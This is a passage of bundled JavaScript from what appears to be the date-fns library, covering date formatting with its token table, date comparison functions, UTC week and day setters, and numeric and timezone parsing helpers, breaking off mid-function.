var protectedTokens = ['D', 'DD', 'YY', 'YYYY'];

function isProtectedToken(token) {
  return protectedTokens.indexOf(token) !== -1
}

function throwProtectedError(token) {
  throw new RangeError(
    '`options.awareOfUnicodeTokens` must be set to `true` to use `' +
      token +
      '` token; see: https://git.io/fxCyr'
  )
}

// This RegExp consists of three parts separated by `|`:
// - [yYQqMLwIdDecihHKkms]o matches any available ordinal number token
//   (one of the certain letters followed by `o`)
// - (\w)\1* matches any sequences of the same letter
// - '' matches two quote characters in a row
// - '(''|[^'])+('|$) matches anything surrounded by two quote characters ('),
//   except a single quote symbol, which ends the sequence.
//   Two quote characters do not end the sequence.
//   If there is no matching single quote
//   then the sequence will continue until the end of the string.
// - . matches any single character unmatched by previous parts of the RegExps
var formattingTokensRegExp = /[yYQqMLwIdDecihHKkms]o|(\w)\1*|''|'(''|[^'])+('|$)|./g;

// This RegExp catches symbols escaped by quotes, and also
// sequences of symbols P, p, and the combinations like `PPPPPPPppppp`
var longFormattingTokensRegExp = /P+p+|P+|p+|''|'(''|[^'])+('|$)|./g;

var escapedStringRegExp = /^'(.*?)'?$/;
var doubleQuoteRegExp = /''/g;

/**
 * @name format
 * @category Common Helpers
 * @summary Format the date.
 *
 * @description
 * Return the formatted date string in the given format. The result may vary by locale.
 *
 * > ⚠️ Please note that the `format` tokens differ from Moment.js and other libraries.
 * > See: https://git.io/fxCyr
 *
 * The characters wrapped between two single quotes characters (') are escaped.
 * Two single quotes in a row, whether inside or outside a quoted sequence, represent a 'real' single quote.
 * (see the last example)
 *
 * Format of the string is based on Unicode Technical Standard #35:
 * https://www.unicode.org/reports/tr35/tr35-dates.html#Date_Field_Symbol_Table
 * with a few additions (see note 7 below the table).
 *
 * Accepted patterns:
 * | Unit                            | Pattern | Result examples                   | Notes |
 * |---------------------------------|---------|-----------------------------------|-------|
 * | Era                             | G..GGG  | AD, BC                            |       |
 * |                                 | GGGG    | Anno Domini, Before Christ        | 2     |
 * |                                 | GGGGG   | A, B                              |       |
 * | Calendar year                   | y       | 44, 1, 1900, 2017                 | 5     |
 * |                                 | yo      | 44th, 1st, 0th, 17th              | 5,7   |
 * |                                 | yy      | 44, 01, 00, 17                    | 5     |
 * |                                 | yyy     | 044, 001, 1900, 2017              | 5     |
 * |                                 | yyyy    | 0044, 0001, 1900, 2017            | 5     |
 * |                                 | yyyyy   | ...                               | 3,5   |
 * | Local week-numbering year       | Y       | 44, 1, 1900, 2017                 | 5     |
 * |                                 | Yo      | 44th, 1st, 1900th, 2017th         | 5,7   |
 * |                                 | YY      | 44, 01, 00, 17                    | 5,8   |
 * |                                 | YYY     | 044, 001, 1900, 2017              | 5     |
 * |                                 | YYYY    | 0044, 0001, 1900, 2017            | 5,8   |
 * |                                 | YYYYY   | ...                               | 3,5   |
 * | ISO week-numbering year         | R       | -43, 0, 1, 1900, 2017             | 5,7   |
 * |                                 | RR      | -43, 00, 01, 1900, 2017           | 5,7   |
 * |                                 | RRR     | -043, 000, 001, 1900, 2017        | 5,7   |
 * |                                 | RRRR    | -0043, 0000, 0001, 1900, 2017     | 5,7   |
 * |                                 | RRRRR   | ...                               | 3,5,7 |
 * | Extended year                   | u       | -43, 0, 1, 1900, 2017             | 5     |
 * |                                 | uu      | -43, 01, 1900, 2017               | 5     |
 * |                                 | uuu     | -043, 001, 1900, 2017             | 5     |
 * |                                 | uuuu    | -0043, 0001, 1900, 2017           | 5     |
 * |                                 | uuuuu   | ...                               | 3,5   |
 * | Quarter (formatting)            | Q       | 1, 2, 3, 4                        |       |
 * |                                 | Qo      | 1st, 2nd, 3rd, 4th                | 7     |
 * |                                 | QQ      | 01, 02, 03, 04                    |       |
 * |                                 | QQQ     | Q1, Q2, Q3, Q4                    |       |
 * |                                 | QQQQ    | 1st quarter, 2nd quarter, ...     | 2     |
 * |                                 | QQQQQ   | 1, 2, 3, 4                        | 4     |
 * | Quarter (stand-alone)           | q       | 1, 2, 3, 4                        |       |
 * |                                 | qo      | 1st, 2nd, 3rd, 4th                | 7     |
 * |                                 | qq      | 01, 02, 03, 04                    |       |
 * |                                 | qqq     | Q1, Q2, Q3, Q4                    |       |
 * |                                 | qqqq    | 1st quarter, 2nd quarter, ...     | 2     |
 * |                                 | qqqqq   | 1, 2, 3, 4                        | 4     |
 * | Month (formatting)              | M       | 1, 2, ..., 12                     |       |
 * |                                 | Mo      | 1st, 2nd, ..., 12th               | 7     |
 * |                                 | MM      | 01, 02, ..., 12                   |       |
 * |                                 | MMM     | Jan, Feb, ..., Dec                |       |
 * |                                 | MMMM    | January, February, ..., December  | 2     |
 * |                                 | MMMMM   | J, F, ..., D                      |       |
 * | Month (stand-alone)             | L       | 1, 2, ..., 12                     |       |
 * |                                 | Lo      | 1st, 2nd, ..., 12th               | 7     |
 * |                                 | LL      | 01, 02, ..., 12                   |       |
 * |                                 | LLL     | Jan, Feb, ..., Dec                |       |
 * |                                 | LLLL    | January, February, ..., December  | 2     |
 * |                                 | LLLLL   | J, F, ..., D                      |       |
 * | Local week of year              | w       | 1, 2, ..., 53                     |       |
 * |                                 | wo      | 1st, 2nd, ..., 53th               | 7     |
 * |                                 | ww      | 01, 02, ..., 53                   |       |
 * | ISO week of year                | I       | 1, 2, ..., 53                     | 7     |
 * |                                 | Io      | 1st, 2nd, ..., 53th               | 7     |
 * |                                 | II      | 01, 02, ..., 53                   | 7     |
 * | Day of month                    | d       | 1, 2, ..., 31                     |       |
 * |                                 | do      | 1st, 2nd, ..., 31st               | 7     |
 * |                                 | dd      | 01, 02, ..., 31                   |       |
 * | Day of year                     | D       | 1, 2, ..., 365, 366               | 8     |
 * |                                 | Do      | 1st, 2nd, ..., 365th, 366th       | 7     |
 * |                                 | DD      | 01, 02, ..., 365, 366             | 8     |
 * |                                 | DDD     | 001, 002, ..., 365, 366           |       |
 * |                                 | DDDD    | ...                               | 3     |
 * | Day of week (formatting)        | E..EEE  | Mon, Tue, Wed, ..., Su            |       |
 * |                                 | EEEE    | Monday, Tuesday, ..., Sunday      | 2     |
 * |                                 | EEEEE   | M, T, W, T, F, S, S               |       |
 * |                                 | EEEEEE  | Mo, Tu, We, Th, Fr, Su, Sa        |       |
 * | ISO day of week (formatting)    | i       | 1, 2, 3, ..., 7                   | 7     |
 * |                                 | io      | 1st, 2nd, ..., 7th                | 7     |
 * |                                 | ii      | 01, 02, ..., 07                   | 7     |
 * |                                 | iii     | Mon, Tue, Wed, ..., Su            | 7     |
 * |                                 | iiii    | Monday, Tuesday, ..., Sunday      | 2,7   |
 * |                                 | iiiii   | M, T, W, T, F, S, S               | 7     |
 * |                                 | iiiiii  | Mo, Tu, We, Th, Fr, Su, Sa        | 7     |
 * | Local day of week (formatting)  | e       | 2, 3, 4, ..., 1                   |       |
 * |                                 | eo      | 2nd, 3rd, ..., 1st                | 7     |
 * |                                 | ee      | 02, 03, ..., 01                   |       |
 * |                                 | eee     | Mon, Tue, Wed, ..., Su            |       |
 * |                                 | eeee    | Monday, Tuesday, ..., Sunday      | 2     |
 * |                                 | eeeee   | M, T, W, T, F, S, S               |       |
 * |                                 | eeeeee  | Mo, Tu, We, Th, Fr, Su, Sa        |       |
 * | Local day of week (stand-alone) | c       | 2, 3, 4, ..., 1                   |       |
 * |                                 | co      | 2nd, 3rd, ..., 1st                | 7     |
 * |                                 | cc      | 02, 03, ..., 01                   |       |
 * |                                 | ccc     | Mon, Tue, Wed, ..., Su            |       |
 * |                                 | cccc    | Monday, Tuesday, ..., Sunday      | 2     |
 * |                                 | ccccc   | M, T, W, T, F, S, S               |       |
 * |                                 | cccccc  | Mo, Tu, We, Th, Fr, Su, Sa        |       |
 * | AM, PM                          | a..aaa  | AM, PM                            |       |
 * |                                 | aaaa    | a.m., p.m.                        | 2     |
 * |                                 | aaaaa   | a, p                              |       |
 * | AM, PM, noon, midnight          | b..bbb  | AM, PM, noon, midnight            |       |
 * |                                 | bbbb    | a.m., p.m., noon, midnight        | 2     |
 * |                                 | bbbbb   | a, p, n, mi                       |       |
 * | Flexible day period             | B..BBB  | at night, in the morning, ...     |       |
 * |                                 | BBBB    | at night, in the morning, ...     | 2     |
 * |                                 | BBBBB   | at night, in the morning, ...     |       |
 * | Hour [1-12]                     | h       | 1, 2, ..., 11, 12                 |       |
 * |                                 | ho      | 1st, 2nd, ..., 11th, 12th         | 7     |
 * |                                 | hh      | 01, 02, ..., 11, 12               |       |
 * | Hour [0-23]                     | H       | 0, 1, 2, ..., 23                  |       |
 * |                                 | Ho      | 0th, 1st, 2nd, ..., 23rd          | 7     |
 * |                                 | HH      | 00, 01, 02, ..., 23               |       |
 * | Hour [0-11]                     | K       | 1, 2, ..., 11, 0                  |       |
 * |                                 | Ko      | 1st, 2nd, ..., 11th, 0th          | 7     |
 * |                                 | KK      | 1, 2, ..., 11, 0                  |       |
 * | Hour [1-24]                     | k       | 24, 1, 2, ..., 23                 |       |
 * |                                 | ko      | 24th, 1st, 2nd, ..., 23rd         | 7     |
 * |                                 | kk      | 24, 01, 02, ..., 23               |       |
 * | Minute                          | m       | 0, 1, ..., 59                     |       |
 * |                                 | mo      | 0th, 1st, ..., 59th               | 7     |
 * |                                 | mm      | 00, 01, ..., 59                   |       |
 * | Second                          | s       | 0, 1, ..., 59                     |       |
 * |                                 | so      | 0th, 1st, ..., 59th               | 7     |
 * |                                 | ss      | 00, 01, ..., 59                   |       |
 * | Fraction of second              | S       | 0, 1, ..., 9                      |       |
 * |                                 | SS      | 00, 01, ..., 99                   |       |
 * |                                 | SSS     | 000, 0001, ..., 999               |       |
 * |                                 | SSSS    | ...                               | 3     |
 * | Timezone (ISO-8601 w/ Z)        | X       | -08, +0530, Z                     |       |
 * |                                 | XX      | -0800, +0530, Z                   |       |
 * |                                 | XXX     | -08:00, +05:30, Z                 |       |
 * |                                 | XXXX    | -0800, +0530, Z, +123456          | 2     |
 * |                                 | XXXXX   | -08:00, +05:30, Z, +12:34:56      |       |
 * | Timezone (ISO-8601 w/o Z)       | x       | -08, +0530, +00                   |       |
 * |                                 | xx      | -0800, +0530, +0000               |       |
 * |                                 | xxx     | -08:00, +05:30, +00:00            | 2     |
 * |                                 | xxxx    | -0800, +0530, +0000, +123456      |       |
 * |                                 | xxxxx   | -08:00, +05:30, +00:00, +12:34:56 |       |
 * | Timezone (GMT)                  | O...OOO | GMT-8, GMT+5:30, GMT+0            |       |
 * |                                 | OOOO    | GMT-08:00, GMT+05:30, GMT+00:00   | 2     |
 * | Timezone (specific non-locat.)  | z...zzz | GMT-8, GMT+5:30, GMT+0            | 6     |
 * |                                 | zzzz    | GMT-08:00, GMT+05:30, GMT+00:00   | 2,6   |
 * | Seconds timestamp               | t       | 512969520                         | 7     |
 * |                                 | tt      | ...                               | 3,7   |
 * | Milliseconds timestamp          | T       | 512969520900                      | 7     |
 * |                                 | TT      | ...                               | 3,7   |
 * | Long localized date             | P       | 05/29/1453                        | 7     |
 * |                                 | PP      | May 29, 1453                      | 7     |
 * |                                 | PPP     | May 29th, 1453                    | 7     |
 * |                                 | PPPP    | Sunday, May 29th, 1453            | 2,7   |
 * | Long localized time             | p       | 12:00 AM                          | 7     |
 * |                                 | pp      | 12:00:00 AM                       | 7     |
 * |                                 | ppp     | 12:00:00 AM GMT+2                 | 7     |
 * |                                 | pppp    | 12:00:00 AM GMT+02:00             | 2,7   |
 * | Combination of date and time    | Pp      | 05/29/1453, 12:00 AM              | 7     |
 * |                                 | PPpp    | May 29, 1453, 12:00:00 AM         | 7     |
 * |                                 | PPPppp  | May 29th, 1453 at ...             | 7     |
 * |                                 | PPPPpppp| Sunday, May 29th, 1453 at ...     | 2,7   |
 * Notes:
 * 1. "Formatting" units (e.g. formatting quarter) in the default en-US locale
 *    are the same as "stand-alone" units, but are different in some languages.
 *    "Formatting" units are declined according to the rules of the language
 *    in the context of a date. "Stand-alone" units are always nominative singular:
 *
 *    `format(new Date(2017, 10, 6), 'do LLLL', {locale: cs}) //=> '6. listopad'`
 *
 *    `format(new Date(2017, 10, 6), 'do MMMM', {locale: cs}) //=> '6. listopadu'`
 *
 * 2. Any sequence of the identical letters is a pattern, unless it is escaped by
 *    the single quote characters (see below).
 *    If the sequence is longer than listed in table (e.g. `EEEEEEEEEEE`)
 *    the output will be the same as default pattern for this unit, usually
 *    the longest one (in case of ISO weekdays, `EEEE`). Default patterns for units
 *    are marked with "2" in the last column of the table.
 *
 *    `format(new Date(2017, 10, 6), 'MMM') //=> 'Nov'`
 *
 *    `format(new Date(2017, 10, 6), 'MMMM') //=> 'November'`
 *
 *    `format(new Date(2017, 10, 6), 'MMMMM') //=> 'N'`
 *
 *    `format(new Date(2017, 10, 6), 'MMMMMM') //=> 'November'`
 *
 *    `format(new Date(2017, 10, 6), 'MMMMMMM') //=> 'November'`
 *
 * 3. Some patterns could be unlimited length (such as `yyyyyyyy`).
 *    The output will be padded with zeros to match the length of the pattern.
 *
 *    `format(new Date(2017, 10, 6), 'yyyyyyyy') //=> '00002017'`
 *
 * 4. `QQQQQ` and `qqqqq` could be not strictly numerical in some locales.
 *    These tokens represent the shortest form of the quarter.
 *
 * 5. The main difference between `y` and `u` patterns are B.C. years:
 *
 *    | Year | `y` | `u` |
 *    |------|-----|-----|
 *    | AC 1 |   1 |   1 |
 *    | BC 1 |   1 |   0 |
 *    | BC 2 |   2 |  -1 |
 *
 *    Also `yy` always returns the last two digits of a year,
 *    while `uu` pads single digit years to 2 characters and returns other years unchanged:
 *
 *    | Year | `yy` | `uu` |
 *    |------|------|------|
 *    | 1    |   01 |   01 |
 *    | 14   |   14 |   14 |
 *    | 376  |   76 |  376 |
 *    | 1453 |   53 | 1453 |
 *
 *    The same difference is true for local and ISO week-numbering years (`Y` and `R`),
 *    except local week-numbering years are dependent on `options.weekStartsOn`
 *    and `options.firstWeekContainsDate` (compare [getISOWeekYear]{@link https://date-fns.org/docs/getISOWeekYear}
 *    and [getWeekYear]{@link https://date-fns.org/docs/getWeekYear}).
 *
 * 6. Specific non-location timezones are currently unavailable in `date-fns`,
 *    so right now these tokens fall back to GMT timezones.
 *
 * 7. These patterns are not in the Unicode Technical Standard #35:
 *    - `i`: ISO day of week
 *    - `I`: ISO week of year
 *    - `R`: ISO week-numbering year
 *    - `t`: seconds timestamp
 *    - `T`: milliseconds timestamp
 *    - `o`: ordinal number modifier
 *    - `P`: long localized date
 *    - `p`: long localized time
 *
 * 8. These tokens are often confused with others. See: https://git.io/fxCyr
 *
 * @param {Date|String|Number} date - the original date
 * @param {String} format - the string of tokens
 * @param {Options} [options] - the object with options. See [Options]{@link https://date-fns.org/docs/Options}
 * @param {0|1|2} [options.additionalDigits=2] - passed to `toDate`. See [toDate]{@link https://date-fns.org/docs/toDate}
 * @param {0|1|2|3|4|5|6} [options.weekStartsOn=0] - the index of the first day of the week (0 - Sunday)
 * @param {Number} [options.firstWeekContainsDate=1] - the day of January, which is
 * @param {Locale} [options.locale=defaultLocale] - the locale object. See [Locale]{@link https://date-fns.org/docs/Locale}
 * @param {Boolean} [options.awareOfUnicodeTokens=false] - if true, allows usage of Unicode tokens causes confusion:
 *   - Some of the day of year tokens (`D`, `DD`) that are confused with the day of month tokens (`d`, `dd`).
 *   - Some of the local week-numbering year tokens (`YY`, `YYYY`) that are confused with the calendar year tokens (`yy`, `yyyy`).
 *   See: https://git.io/fxCyr
 * @returns {String} the formatted date string
 * @throws {TypeError} 2 arguments required
 * @throws {RangeError} `options.additionalDigits` must be 0, 1 or 2
 * @throws {RangeError} `options.locale` must contain `localize` property
 * @throws {RangeError} `options.locale` must contain `formatLong` property
 * @throws {RangeError} `options.weekStartsOn` must be between 0 and 6
 * @throws {RangeError} `options.firstWeekContainsDate` must be between 1 and 7
 * @throws {RangeError} `options.awareOfUnicodeTokens` must be set to `true` to use `XX` token; see: https://git.io/fxCyr
 *
 * @example
 * // Represent 11 February 2014 in middle-endian format:
 * var result = format(
 *   new Date(2014, 1, 11),
 *   'MM/dd/yyyy'
 * )
 * //=> '02/11/2014'
 *
 * @example
 * // Represent 2 July 2014 in Esperanto:
 * import { eoLocale } from 'date-fns/locale/eo'
 * var result = format(
 *   new Date(2014, 6, 2),
 *   "do 'de' MMMM yyyy",
 *   {locale: eoLocale}
 * )
 * //=> '2-a de julio 2014'
 *
 * @example
 * // Escape string by single quote characters:
 * var result = format(
 *   new Date(2014, 6, 2, 15),
 *   "h 'o''clock'"
 * )
 * //=> "3 o'clock"
 */
function format(dirtyDate, dirtyFormatStr, dirtyOptions) {
  if (arguments.length < 2) {
    throw new TypeError(
      '2 arguments required, but only ' + arguments.length + ' present'
    )
  }

  var formatStr = String(dirtyFormatStr);
  var options = dirtyOptions || {};

  var locale$1 = options.locale || locale;

  var localeFirstWeekContainsDate =
    locale$1.options && locale$1.options.firstWeekContainsDate;
  var defaultFirstWeekContainsDate =
    localeFirstWeekContainsDate == null
      ? 1
      : toInteger(localeFirstWeekContainsDate);
  var firstWeekContainsDate =
    options.firstWeekContainsDate == null
      ? defaultFirstWeekContainsDate
      : toInteger(options.firstWeekContainsDate);

  // Test if weekStartsOn is between 1 and 7 _and_ is not NaN
  if (!(firstWeekContainsDate >= 1 && firstWeekContainsDate <= 7)) {
    throw new RangeError(
      'firstWeekContainsDate must be between 1 and 7 inclusively'
    )
  }

  var localeWeekStartsOn = locale$1.options && locale$1.options.weekStartsOn;
  var defaultWeekStartsOn =
    localeWeekStartsOn == null ? 0 : toInteger(localeWeekStartsOn);
  var weekStartsOn =
    options.weekStartsOn == null
      ? defaultWeekStartsOn
      : toInteger(options.weekStartsOn);

  // Test if weekStartsOn is between 0 and 6 _and_ is not NaN
  if (!(weekStartsOn >= 0 && weekStartsOn <= 6)) {
    throw new RangeError('weekStartsOn must be between 0 and 6 inclusively')
  }

  if (!locale$1.localize) {
    throw new RangeError('locale must contain localize property')
  }

  if (!locale$1.formatLong) {
    throw new RangeError('locale must contain formatLong property')
  }

  var originalDate = toDate(dirtyDate, options);

  if (!isValid(originalDate, options)) {
    return 'Invalid Date'
  }

  // Convert the date in system timezone to the same date in UTC+00:00 timezone.
  // This ensures that when UTC functions will be implemented, locales will be compatible with them.
  // See an issue about UTC functions: https://github.com/date-fns/date-fns/issues/376
  var timezoneOffset = getTimezoneOffsetInMilliseconds(originalDate);
  var utcDate = subMilliseconds(originalDate, timezoneOffset, options);

  var formatterOptions = {
    firstWeekContainsDate: firstWeekContainsDate,
    weekStartsOn: weekStartsOn,
    locale: locale$1,
    _originalDate: originalDate
  };

  var result = formatStr
    .match(longFormattingTokensRegExp)
    .map(function(substring) {
      var firstCharacter = substring[0];
      if (firstCharacter === 'p' || firstCharacter === 'P') {
        var longFormatter = longFormatters[firstCharacter];
        return longFormatter(substring, locale$1.formatLong, formatterOptions)
      }
      return substring
    })
    .join('')
    .match(formattingTokensRegExp)
    .map(function(substring) {
      // Replace two single quote characters with one single quote character
      if (substring === "''") {
        return "'"
      }

      var firstCharacter = substring[0];
      if (firstCharacter === "'") {
        return cleanEscapedString(substring)
      }

      var formatter = formatters[firstCharacter];
      if (formatter) {
        if (!options.awareOfUnicodeTokens && isProtectedToken(substring)) {
          throwProtectedError(substring);
        }
        return formatter(utcDate, substring, locale$1.localize, formatterOptions)
      }

      return substring
    })
    .join('');

  return result
}

function cleanEscapedString(input) {
  return input.match(escapedStringRegExp)[1].replace(doubleQuoteRegExp, "'")
}

/**
 * @name isAfter
 * @category Common Helpers
 * @summary Is the first date after the second one?
 *
 * @description
 * Is the first date after the second one?
 *
 * @param {Date|String|Number} date - the date that should be after the other one to return true
 * @param {Date|String|Number} dateToCompare - the date to compare with
 * @param {Options} [options] - the object with options. See [Options]{@link https://date-fns.org/docs/Options}
 * @param {0|1|2} [options.additionalDigits=2] - passed to `toDate`. See [toDate]{@link https://date-fns.org/docs/toDate}
 * @returns {Boolean} the first date is after the second date
 * @throws {TypeError} 2 arguments required
 * @throws {RangeError} `options.additionalDigits` must be 0, 1 or 2
 *
 * @example
 * // Is 10 July 1989 after 11 February 1987?
 * var result = isAfter(new Date(1989, 6, 10), new Date(1987, 1, 11))
 * //=> true
 */
function isAfter (dirtyDate, dirtyDateToCompare, dirtyOptions) {
  if (arguments.length < 2) {
    throw new TypeError('2 arguments required, but only ' + arguments.length + ' present')
  }

  var date = toDate(dirtyDate, dirtyOptions);
  var dateToCompare = toDate(dirtyDateToCompare, dirtyOptions);
  return date.getTime() > dateToCompare.getTime()
}

/**
 * @name isBefore
 * @category Common Helpers
 * @summary Is the first date before the second one?
 *
 * @description
 * Is the first date before the second one?
 *
 * @param {Date|String|Number} date - the date that should be before the other one to return true
 * @param {Date|String|Number} dateToCompare - the date to compare with
 * @param {Options} [options] - the object with options. See [Options]{@link https://date-fns.org/docs/Options}
 * @param {0|1|2} [options.additionalDigits=2] - passed to `toDate`. See [toDate]{@link https://date-fns.org/docs/toDate}
 * @returns {Boolean} the first date is before the second date
 * @throws {TypeError} 2 arguments required
 * @throws {RangeError} `options.additionalDigits` must be 0, 1 or 2
 *
 * @example
 * // Is 10 July 1989 before 11 February 1987?
 * var result = isBefore(new Date(1989, 6, 10), new Date(1987, 1, 11))
 * //=> false
 */
function isBefore (dirtyDate, dirtyDateToCompare, dirtyOptions) {
  if (arguments.length < 2) {
    throw new TypeError('2 arguments required, but only ' + arguments.length + ' present')
  }

  var date = toDate(dirtyDate, dirtyOptions);
  var dateToCompare = toDate(dirtyDateToCompare, dirtyOptions);
  return date.getTime() < dateToCompare.getTime()
}

/**
 * @name isEqual
 * @category Common Helpers
 * @summary Are the given dates equal?
 *
 * @description
 * Are the given dates equal?
 *
 * @param {Date|String|Number} dateLeft - the first date to compare
 * @param {Date|String|Number} dateRight - the second date to compare
 * @param {Options} [options] - the object with options. See [Options]{@link https://date-fns.org/docs/Options}
 * @param {0|1|2} [options.additionalDigits=2] - passed to `toDate`. See [toDate]{@link https://date-fns.org/docs/toDate}
 * @returns {Boolean} the dates are equal
 * @throws {TypeError} 2 arguments required
 * @throws {RangeError} `options.additionalDigits` must be 0, 1 or 2
 *
 * @example
 * // Are 2 July 2014 06:30:45.000 and 2 July 2014 06:30:45.500 equal?
 * var result = isEqual(
 *   new Date(2014, 6, 2, 6, 30, 45, 0)
 *   new Date(2014, 6, 2, 6, 30, 45, 500)
 * )
 * //=> false
 */
function isEqual (dirtyLeftDate, dirtyRightDate, dirtyOptions) {
  if (arguments.length < 2) {
    throw new TypeError('2 arguments required, but only ' + arguments.length + ' present')
  }

  var dateLeft = toDate(dirtyLeftDate, dirtyOptions);
  var dateRight = toDate(dirtyRightDate, dirtyOptions);
  return dateLeft.getTime() === dateRight.getTime()
}

// This function will be a part of public API when UTC function will be implemented.
// See issue: https://github.com/date-fns/date-fns/issues/376
function setUTCDay (dirtyDate, dirtyDay, dirtyOptions) {
  if (arguments.length < 2) {
    throw new TypeError('2 arguments required, but only ' + arguments.length + ' present')
  }

  var options = dirtyOptions || {};
  var locale = options.locale;
  var localeWeekStartsOn = locale && locale.options && locale.options.weekStartsOn;
  var defaultWeekStartsOn = localeWeekStartsOn == null ? 0 : toInteger(localeWeekStartsOn);
  var weekStartsOn = options.weekStartsOn == null ? defaultWeekStartsOn : toInteger(options.weekStartsOn);

  // Test if weekStartsOn is between 0 and 6 _and_ is not NaN
  if (!(weekStartsOn >= 0 && weekStartsOn <= 6)) {
    throw new RangeError('weekStartsOn must be between 0 and 6 inclusively')
  }

  var date = toDate(dirtyDate, dirtyOptions);
  var day = toInteger(dirtyDay);

  var currentDay = date.getUTCDay();

  var remainder = day % 7;
  var dayIndex = (remainder + 7) % 7;

  var diff = (dayIndex < weekStartsOn ? 7 : 0) + day - currentDay;

  date.setUTCDate(date.getUTCDate() + diff);
  return date
}

// This function will be a part of public API when UTC function will be implemented.
// See issue: https://github.com/date-fns/date-fns/issues/376
function setUTCWeek (dirtyDate, dirtyWeek, dirtyOptions) {
  if (arguments.length < 2) {
    throw new TypeError('2 arguments required, but only ' + arguments.length + ' present')
  }

  var date = toDate(dirtyDate, dirtyOptions);
  var week = toInteger(dirtyWeek);
  var diff = getUTCWeek(date, dirtyOptions) - week;
  date.setUTCDate(date.getUTCDate() - diff * 7);
  return date
}

// This function will be a part of public API when UTC function will be implemented.
// See issue: https://github.com/date-fns/date-fns/issues/376
function setUTCISODay (dirtyDate, dirtyDay, dirtyOptions) {
  if (arguments.length < 2) {
    throw new TypeError('2 arguments required, but only ' + arguments.length + ' present')
  }

  var day = toInteger(dirtyDay);

  if (day % 7 === 0) {
    day = day - 7;
  }

  var weekStartsOn = 1;
  var date = toDate(dirtyDate, dirtyOptions);
  var currentDay = date.getUTCDay();

  var remainder = day % 7;
  var dayIndex = (remainder + 7) % 7;

  var diff = (dayIndex < weekStartsOn ? 7 : 0) + day - currentDay;

  date.setUTCDate(date.getUTCDate() + diff);
  return date
}

// This function will be a part of public API when UTC function will be implemented.
// See issue: https://github.com/date-fns/date-fns/issues/376
function setUTCISOWeek (dirtyDate, dirtyISOWeek, dirtyOptions) {
  if (arguments.length < 2) {
    throw new TypeError('2 arguments required, but only ' + arguments.length + ' present')
  }

  var date = toDate(dirtyDate, dirtyOptions);
  var isoWeek = toInteger(dirtyISOWeek);
  var diff = getUTCISOWeek(date, dirtyOptions) - isoWeek;
  date.setUTCDate(date.getUTCDate() - diff * 7);
  return date
}

var MILLISECONDS_IN_HOUR$1 = 3600000;
var MILLISECONDS_IN_MINUTE$2 = 60000;
var MILLISECONDS_IN_SECOND = 1000;

var numericPatterns = {
  month: /^(1[0-2]|0?\d)/, // 0 to 12
  date: /^(3[0-1]|[0-2]?\d)/, // 0 to 31
  dayOfYear: /^(36[0-6]|3[0-5]\d|[0-2]?\d?\d)/, // 0 to 366
  week: /^(5[0-3]|[0-4]?\d)/, // 0 to 53
  hour23h: /^(2[0-3]|[0-1]?\d)/, // 0 to 23
  hour24h: /^(2[0-4]|[0-1]?\d)/, // 0 to 24
  hour11h: /^(1[0-1]|0?\d)/, // 0 to 11
  hour12h: /^(1[0-2]|0?\d)/, // 0 to 12
  minute: /^[0-5]?\d/, // 0 to 59
  second: /^[0-5]?\d/, // 0 to 59

  singleDigit: /^\d/, // 0 to 9
  twoDigits: /^\d{1,2}/, // 0 to 99
  threeDigits: /^\d{1,3}/, // 0 to 999
  fourDigits: /^\d{1,4}/, // 0 to 9999

  anyDigitsSigned: /^-?\d+/,
  singleDigitSigned: /^-?\d/, // 0 to 9, -0 to -9
  twoDigitsSigned: /^-?\d{1,2}/, // 0 to 99, -0 to -99
  threeDigitsSigned: /^-?\d{1,3}/, // 0 to 999, -0 to -999
  fourDigitsSigned: /^-?\d{1,4}/ // 0 to 9999, -0 to -9999
};

var timezonePatterns = {
  basicOptionalMinutes: /^([+-])(\d{2})(\d{2})?|Z/,
  basic: /^([+-])(\d{2})(\d{2})|Z/,
  basicOptionalSeconds: /^([+-])(\d{2})(\d{2})((\d{2}))?|Z/,
  extended: /^([+-])(\d{2}):(\d{2})|Z/,
  extendedOptionalSeconds: /^([+-])(\d{2}):(\d{2})(:(\d{2}))?|Z/
};

function parseNumericPattern (pattern, string, valueCallback) {
  var matchResult = string.match(pattern);

  if (!matchResult) {
    return null
  }

  var value = parseInt(matchResult[0], 10);

  return {
    value: valueCallback ? valueCallback(value) : value,
    rest: string.slice(matchResult[0].length)
  }
}

function parseTimezonePattern (pattern, string) {
  var matchResult = string.match(pattern);

  if (!matchResult) {
    return null
  }

  // Input is 'Z'
  if (matchResult[0] === 'Z') {
    return {
      value: 0,
      rest: string.slice(1)
    }
  }

  var sign = matchResult[1] === '+' ? 1 : -1;
  var hours = matchResult[2] ? parseInt(matchResult[2], 10) : 0;
  var minutes = matchResult[3] ? parseInt(matchResult[3], 10) : 0;
  var seconds = matchResult[5] ? parseInt(matchResult[5], 10) : 0;

  return {
    value: sign * (
      hours * MILLISECONDS_IN_HOUR$1 +
        minutes * MILLISECONDS_IN_MINUTE$2 +
        seconds * MILLISECONDS_IN_SECOND
    ),
    rest: string.slice(matchResult[0].length)
  }
}

function parseAnyDigitsSigned (string, valueCallback) {
  return parseNumericPattern(numericPatterns.anyDigitsSigned, string, valueCallback)
}

function parseNDigits (n, string, valueCallback) {
  switch (n) {
    case 1:
      return parseNumericPattern(numericPatterns.singleDigit, string, valueCallback)
    case 2:
      return parseNumericPattern(numericPatterns.twoDigits, string, valueCallback)
    case 3:
      return parseNumericPattern(numericPatterns.threeDigits, string, valueCallback)
    case 4:
      return parseNumericPattern(numericPatterns.fourDigits, string, valueCallback)
    default:
      return parseNumericPattern(new RegExp('^\\d{1,' + n + '}'), string, valueCallback)
  }
}

function parseNDigitsSigned (n, string, valueCallback) {
  switch (n) {
    case 1:
      return parseNumericPattern(numericPatterns.singleDigitSigned, string, valueCallback)
    case 2:
      return parseNumericPattern(numericPatterns.twoDigitsSigned, string, valueCallback)
    case 3:
      return parseNumericPattern(numericPatterns.threeDigitsSigned, string, valueCallback)
    case 4:
      return parseNumericPattern(numericPatterns.fourDigitsSigned, string, valueCallback)
    default:
      return parseNumericPattern(new RegExp('^-?\\d{1,' + n + '}'), string, valueCallback)
  }
}

function dayPeriodEnumToHours (enumValue) {
  switch (enumValue) {
    case 'morning':
      return 4
    case 'evening':
      return 17
    case 'pm':
    case 'noon':
    case 'afternoon':
      return 12
    case 'am':
    case 'midnight':
    case 'night':
    default:
      return 0
  }
}

function normalizeTwoDigitYear (twoDigitYear, currentYear) {
  var isCommonEra = currentYear > 0;
  // Absolute number of the current year:
  // 1 -> 1 AC
  // 0 -> 1 BC
  // -1 -> 2 BC
  var absCurrentYear = isCommonEra ? currentYear : 1 - currentYear;

  var result;
  if (absCurrentYear <= 50) {
    result = twoDigitYear || 100;
  } else {
    var rangeEnd = absCurrentYear + 50;
